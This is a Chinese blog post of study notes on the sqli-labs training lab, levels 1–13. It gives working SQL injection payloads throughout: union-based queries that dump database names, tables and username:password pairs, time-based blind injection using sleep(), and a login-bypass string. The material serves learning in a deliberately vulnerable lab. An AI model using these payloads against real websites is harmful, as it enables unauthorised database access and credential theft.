sqli-labs学习笔记

本文详细介绍了SQL注入攻击的过程,包括判断注入类型、猜测字段数、获取数据库信息、查表及字段值。通过不同类型的注入实例,如单引号、双引号和时间延迟注入,展示了如何利用注入漏洞来探测数据库结构和数据。同时,文章提到了防御SQL注入的必要性,推荐使用SQLMap等工具进行自动化检测。
摘要由CSDN通过智能技术生成

Less-1

1-2关 基于错误的字符串/数字型注入

一、找漏洞

用 and 1=1/1=2判断整形类型,加单引号判断字符串和整形类型)

这题就是?id=1(数字随便输)输入?id=1 and 1=1 以及输入 ?id=1 and 1=2发现并有什么什么变化

当输入?id=1时

页面不报错

当输入?id='时

页面出现报错语句 ,当输入单引号时,页面由正常页面变为报错页面,可以判断时单引号注入漏洞

二、猜解字段数

字段数可能时sql数据库中的变量

确定字段数是因为知道了准确的字段数才可以用union来进行操作获取你想要的东西,因为union select ...后面的字段必须与数据库的字段相对应,就是假设你数据库里有3个字段,但是你输入union select 1,2你会发现会报错在这题中,必须对应三个数字 union select 1,2,3才能够成功执行,所以这才需要order by 来知道字段数从而使用union

输入?id=1' order by 4 --+(--+为注释语句)发现报错

 输入?id = 1' order by 3 --+

页面正常,说明字段数为3。

三、获取数据库名字

知道了数据库字段数后,利用union来获取数据库名字,数据表名字,字段名以及字段名对应的数据信息。这里会先使id=-1',为什么呢,前面已经找了SQL注入漏洞出现报错,那么先要让其存在一个合理的报错形式 ,然后把后面的SQL语句也带进SQL里进行执行操作,从而获取信息。所以就是得让union 前面的为正确的报错行为,在id=1'添加符号,id默认为从0开始所以这是错的吧 或者直接在后面加个and 1=2也是错的吧,and 1=1就不可以了,因为这是正确语句不会报错对吧。这样的话union语句就可以正确执行进去了

输入 ?id=1' and 1=2 union select 1,2,3 --+  然后回车就发现显示了2,3,这意味着2,3字段是可以回显到页面的,可以进行操作,那我直接更改3这个位置代码

进入下面的操作前,先介绍几个函数:

  (1)version():查看数据库版本

  (2)user():查看当前用户

  (3)database():查看使用的数据库

  (4) limit  :limit子句来分批获取所有数据

  (5)group_concat():一次性获取数据库信息。

查询用户,查询数据库,查询数据库版本

输入union select 1,2,user()--+看了下用户名

输入union select 1,2,database(0--+看了下使用得数据库(重点)

输入union select 1,2,version()--+看了下数据库版本

 

 四、查表

想知道用户名和密码 必须先知道数据库

输入 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

我对这句代码理解认为 group_concat(table_name)这个就是合并到一起来显示表名,from information_shchema.tables这是固定的,字面理解就是来自信息图表数据库的存在的表单,然后 where 限制语句 where table_schema='security'只需要查找数据库名为security.找到了显示出所有表单,发现了有users表单,这里就应该会有我们想要的用户密码

 五、查字段名以及字段数值

接着输入 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+

然后就获取了表单里的字段名 发现了有username 和 password 

输入 union select 1,2,group_concat(username,0x3a,password) from users--+

就可以得到每个用户名对应的密码(0x3a是字符冒号':'对应的16进制的ASCII码)

 

Less-3

一、判断注入类型

首先判断是数字型注入还是字符型注入

输入?id=1 查看回显

输入?id=1'

 输入?id=1"

 输入单引号时页面异常,输入双引号时页面正常   从回显的信息看来,它是由’)来进行闭合的,所以我们尝试输入’)进行闭合再输入–+注释掉后面的代码,结果显示页面正常显示。由此可推出参数是’)进行闭合的!此时可以输入and 1=1 和and 1=2来比较

输入?id=1' and 1=1

输入?id=1') and 1=2

此时证明了上述假设的闭合方式 

二、猜解字段数

使用order by

输入?id=1' order by 4 --+(--+为注释语句)发现报错

输入?id=1') order by 3 --+

页面正常,说明字段数为3

其余注入与第一题相同

Less-4

一、找漏洞

输入?id=1查看回显

第四关使用(“”)的方式闭合字符串

 当输入?id=1"时,页面显示错误

 输入?id= 1") and 1=2 union select 1,2,3 --+页面正常

其余注入与第一题相同

Less-5

一、找漏洞

输入?id= 1查看回显

 输入?id= 1'页面报错

输入?id=1' union select 1,2,3 --+页面显示

无法进行下一步

需要用到新的知识

时间延迟型注入手工注入

时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

我们构造sql语句,带上时间延迟的函数,如果有明显的延迟说明有注入点。

?id=1’ and if(length(database())=n,sleep(5),1)--+

当n为8时,出现明显的延迟,说明有注入点

猜库名

数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

猜表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+

经过几次尝试找到了表名。

猜列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky

猜值

?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb

到这里建议使用sqlmap 

Less-6

查询了第一个,输入的id使用“包裹,其余和第五关一致
所以只需要我们换成双引号即可

Less-7

Less-8

首先输入?id=1 查看回显,发现除了输入?id=1时显示you are in ... 别的都不显示

 可以使用盲注

输入?id=1' and if(length(database())=8,sleep(5),1) --+ 页面出现延迟五秒 说明数据库长度为8

 其余步骤和Less-5相同

Less-9

首先输入?id=1查看回显,发现无论输入说明 都是显示you are in ...

 可以使用时间盲注,同Less-5 Less-8

Less-10

个人认为Less-10和Less-9相同,无论输什么都不动,区别就在于Less-9是基于单引号的时间注入

Less-10是基于双引号的时间注入

Less-11

 第十一关开始进入登录框这种模式,像登陆框这种模式也是可以当成sql语句注入

使用万能密码时可以登录
admin' or 1 #)
是一个dump用户,当然admin也可以登录

 使用burp

输入admin' order by 3 报错

 输入admin' order by 2 --+ 正确

发现1,2可以回显 正常查询即可

 Less-12

输入admin")发现闭合

其余同十一关

Less-13


单引号报错,发现可以闭合,')

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值